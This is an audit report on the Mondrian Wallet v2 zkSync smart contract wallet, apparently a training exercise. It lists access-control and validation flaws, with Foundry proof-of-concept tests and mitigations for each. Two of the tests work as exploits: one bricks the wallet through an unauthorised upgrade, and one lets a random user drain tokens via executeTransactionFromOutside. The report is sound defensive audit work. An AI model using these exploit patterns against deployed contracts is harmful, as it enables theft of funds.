Mondrian Wallet 2 Audit Report

Version 1.0

Lulox

July 16, 2024

Mondrian Wallet 2 Audit Report

Lulox

July 16, 2024

Prepared by: Lulox Lead Auditors:

- Lulox

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
- Medium

Protocol Summary

The Mondrian Wallet v2 will allow users to have a native smart contract wallet on zkSync, it will implement all the functionality of IAccount.sol.

You can learn more about about account abstraction on zkSync by watching the account abstraction Cyfrin Updraft section.

The wallet should be able to do anything a normal EoA can do, but with limited functionality interacting with system contracts.

Disclaimer

The Lulox team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash: 2 `abc3e4831d27ae9c498edd3782fd61524587dc0`

Scope

```
./src/
#-- MondrianWallet2.sol
```

Solc Version: 0.8.24 Chain(s) to deploy contract to: zkSync

Roles

- Owner - The owner of the wallet, who can upgrade the wallet.
- zkSync system contracts - We don't consider these "actors" for the audit.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	0
Info	0
Gas	0
Total	4

Findings

High

[H-1] Lack of access in `MondrianWallet2::_authorizeUpgrade` control allows anyone to DOS the contract

Description: Function `_authorizeUpgrade` inherited from `UUPSUpgradeable.sol` lacks access control, while playing a critical role in checking access control to `UUPSUpgradeable::upgradeToAndCall`, which changes the implementation for the proxy contract.

Impact: This allows anyone to upgrade MondrianWallet to a malicious implementation, opening the window to stolen funds and/or denialing the service of the contract.

Proof of Concept:

Include the following test in `MondrianWallet2Test.sol`:

```
 function testUpgradeAndBrickContract() public {
        address NON_OWNER_ACCOUNT = 0
            x70997970C51812dc3A010C7d01b50e0d17dc79C8;

        MockBrickWallet mockBrickWallet = new MockBrickWallet();

        vm.startPrank(NON_OWNER_ACCOUNT);
        mondrianWallet.upgradeToAndCall(address(mockBrickWallet), "");
        vm.stopPrank();
    }
```

And also import this contract to the test:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {UUPSUpgradeable} from "@openzeppelin/contracts-upgradeable/
    proxy/utils/UUPSUpgradeable.sol";

contract MockBrickWallet is UUPSUpgradeable {
    // Ensure that the upgrade function can only be called by
        authorized addresses
    function _authorizeUpgrade(address newImplementation) internal
        override {
        // Authorization logic
        require(address(0) == msg.sender, "You've been bricked!");
    }
}
```

Recommended Mitigation: Implement access control to the function `MondrianWallet2::_authorizeUpgrade`

```
- function _authorizeUpgrade(address newImplementation) internal
    override {}
+ function _authorizeUpgrade(address newImplementation) internal
    override onlyOwner {}
```

[H-2] Lack of `receive` function renders contract unable of calling payable transactions

Description: Despite having both `validateTransaction` and `executeTransaction` being payable, the contract utilises it's own balance to call the transactions to other contracts. And it doesn't have a mechanism to receive ETH on the contract.

Impact: Without having a receive function and/or a function intended to load up ETH on the wallet, the contract is unable to receive ETH, thus becoming unable of calling any transaction that requires ETH in the `value` variable of the Transaction call.

Proof of Concept:

Proof of Code

Include this tests in `MondrianWallet2Test.t.sol`

```
function testValueComesFromWallet() public {
        PayableContract payableContract = new PayableContract();
        // Arrange
        address dest = address(payableContract);
        uint256 value = 1 ether;
        // Here we assert the Mondrian Wallet holds the balance that'll be transferred
        assertEq(address(mondrianWallet).balance, value);
        bytes memory functionData =
            abi.encodeWithSelector(PayableContract.pay.selector, address(mondrianWallet), AMOUNT);

        Transaction memory transaction =
            _createUnsignedTransaction(mondrianWallet.owner(), 113, dest, value, functionData);

        // Act
        vm.prank(mondrianWallet.owner());
        mondrianWallet.executeTransaction(EMPTY_BYTES32, EMPTY_BYTES32, transaction);

        // Assert
        // And here we assert that the Mondrian Wallet balance has been used to execute the transaction
        assertEq(address(mondrianWallet).balance, 0);
    }
```

```
function testCantIncreaseContractBalance() public {
        assertEq(address(mondrianWallet).balance, AMOUNT);

        vm.deal(ANVIL_DEFAULT_ACCOUNT, AMOUNT);
        vm.prank(ANVIL_DEFAULT_ACCOUNT);
        payable(address(mondrianWallet)).call{value: AMOUNT}("");
        assertNotEq(address(mondrianWallet).balance, AMOUNT * 2);
    }
```

And import this contract to the test file:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PayableContract {
    function pay() external payable {
        require(msg.value == 1 ether, "Haven't sent 1 ether");
    }
```

```
8 }
```

Recommended Mitigation:

Include this into `MondrianWallet2.sol`

```
1 +   receive() external payable {}
```

Medium

[H-3] Unchecked return in `MondrianWallet2::executeTransactionFromOutside` allows any user to execute transactions

Description:

The `MondrianWallet2::_validateTransaction` function has a specific return to verify if the signer is the owner of the contract. However, this return isn't used in the `MondrianWallet2::excuteTransactionFromOutside` function, thereby allowing any user to execute transactions.

Impact:

This vulnerability exposes the contract to exploitation risks, enabling malicious users to potentially drain funds or execute unauthorized operation.

Proof of Concept:

Integrate a random user account into the test suite in `ModrianWallet2Test.t.sol`:

```
1 contract MondrianWallet2Test is Test, ZkSyncChainChecker {
2         address constant RANDOM_USER_ACCOUNT = 0
             xa0Ee7A142d267C1f36714E4a8F75612F20a79720;
3         ...
```

Add the following helper function for signing transactions with the random user's private key in tes test suite:

```
1 function _signTransactionWithRandomUser(
2     Transaction memory transaction
3 ) internal view returns (Transaction memory) {
4     bytes32 unsignedTransactionHash = MemoryTransactionHelper.
          encodeHash(
5         transaction
6     );
7
8     uint8 v;
9     bytes32 r;
```

```
    bytes32 s;
    // Private Key associated with the Public Key of
       RANDOM_USER_ACCOUNT
    uint256 randomUserPrivateKey = 0
       x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6
       ;

    (v, r, s) = vm.sign(randomUserPrivateKey, unsignedTransactionHash);
    Transaction memory signedTransaction = transaction;
    signedTransaction.signature = abi.encodePacked(r, s, v);
    return signedTransaction;
}
```

And finally ddd the following test to the test suite:

```
function testRandomUserCanExecuteCommandsFromOutside() public {
    // Arrange - Global
    address dest = address(usdc);
    uint256 value = 0;

    // Arrange - Mondrian Wallet Execution
    bytes memory functionDataOwner = abi.encodeWithSelector(
        ERC20Mock.mint.selector,
        address(mondrianWallet),
        AMOUNT
    );

    Transaction memory transactionOwner = _createUnsignedTransaction(
        mondrianWallet.owner(),
        113,
        dest,
        value,
        functionDataOwner
    );

    vm.prank(mondrianWallet.owner());
    mondrianWallet.executeTransaction(
        EMPTY_BYTES32,
        EMPTY_BYTES32,
        transactionOwner
    );

    assertEq(usdc.balanceOf(address(mondrianWallet)), AMOUNT);
    assertEq(usdc.balanceOf(RANDOM_USER_ACCOUNT), 0);

    // Arrange - Approval
    bytes memory functionDataApprove = abi.encodeWithSelector(
        ERC20.approve.selector,
        address(mondrianWallet),
        AMOUNT
    );
```

```
37      Transaction memory transactionApproval = _createUnsignedTransaction
            (
38          RANDOM_USER_ACCOUNT,
39          113,
40          dest,
41          value,
42          functionDataApprove
43      );
44      transactionApproval = _signTransactionWithRandomUser(
45          transactionApproval
46      );
47
48      // Act
49      vm.prank(RANDOM_USER_ACCOUNT);
50      mondrianWallet.executeTransactionFromOutside(transactionApproval);
51
52          // Arrange - Transfer From
53      bytes memory functionDataTransferFrom = abi.encodeWithSelector(
54          ERC20.transferFrom.selector,
55          address(mondrianWallet),
56          RANDOM_USER_ACCOUNT,
57          AMOUNT
58      );
59      Transaction memory transactionTransferFrom =
            _createUnsignedTransaction(
60          RANDOM_USER_ACCOUNT,
61          113,
62          dest,
63          value,
64          functionDataTransferFrom
65      );
66      transactionTransferFrom = _signTransactionWithRandomUser(
67          transactionTransferFrom
68      );
69      vm.prank(RANDOM_USER_ACCOUNT);
70      mondrianWallet.executeTransactionFromOutside(
            transactionTransferFrom);
71
72      // Assert
73      assertEq(usdc.balanceOf(RANDOM_USER_ACCOUNT), AMOUNT);
74  }
```

Recommended Mitigation:

Implement the following changes in `MondrianWallet2::executeTransactionFromOutside` to mitigate this vulnerability:

```
1  function executeTransactionFromOutside(
2      Transaction memory _transaction
3  ) external payable {
4  -     _validateTransaction(_transaction);
```

```
+    bytes4 magic = _validateTransaction(_transaction);
+    if (magic != ACCOUNT_VALIDATION_SUCCESS_MAGIC) {
+        revert MondrianWallet2__InvalidSignature(); // This error was previously not utilized
+    }
     _executeTransaction(_transaction);
}
```

[M-1] Incorrect call function according to the zkSync documentation

Description:

Knowing that `MondrianWallet2` will be deployed to zkSync, the contract should account for the differences when using `call`. The correct way to do it is using inline assembly.

According to the ZKsync documentation, the calls have some differences from Ethereum: “Thus, unlike EVM where memory growth occurs before the call itself, on ZKsync Era, the necessary copying of return data happens only after the call has ended, leading to a difference in msize() and sometimes ZKsync Era not panicking where EVM would panic due to the difference in memory growth.”

The `MondrianWallet2` contract uses the solidity call function in Line 159. Instead, it should use the ZKsync call function.

Impact:

The `MondrianWallet2` function `_executeTransaction` is not fully compliant with the ZKsync Era and its differences from Ethereum.

Recommended Mitigation:

The call from Line 159 of MondrianWallet2.sol can be changed to assembly code, as shown in the code below:

```
function _executeTransaction(Transaction memory _transaction) internal {
    address to = address(uint160(_transaction.to));
    uint128 value = Utils.safeCastToU128(_transaction.value);
    bytes memory data = _transaction.data;

    if (to == address(DEPLOYER_SYSTEM_CONTRACT)) {
        uint32 gas = Utils.safeCastToU32(gasleft());
        SystemContractsCaller.systemCallWithPropagatedRevert(gas, to, value, data);
    } else {
        bool success;
-       (success,) = to.call{value: value}(data);
+       assembly {
```

```
13 +            success := call(gas(), to, value, add(data, 0x20), mload(
       data), 0, 0)
14 +        }
15          if (!success) {
16              revert MondrianWallet2__ExecutionFailed();
17          }
18      }
19  }
```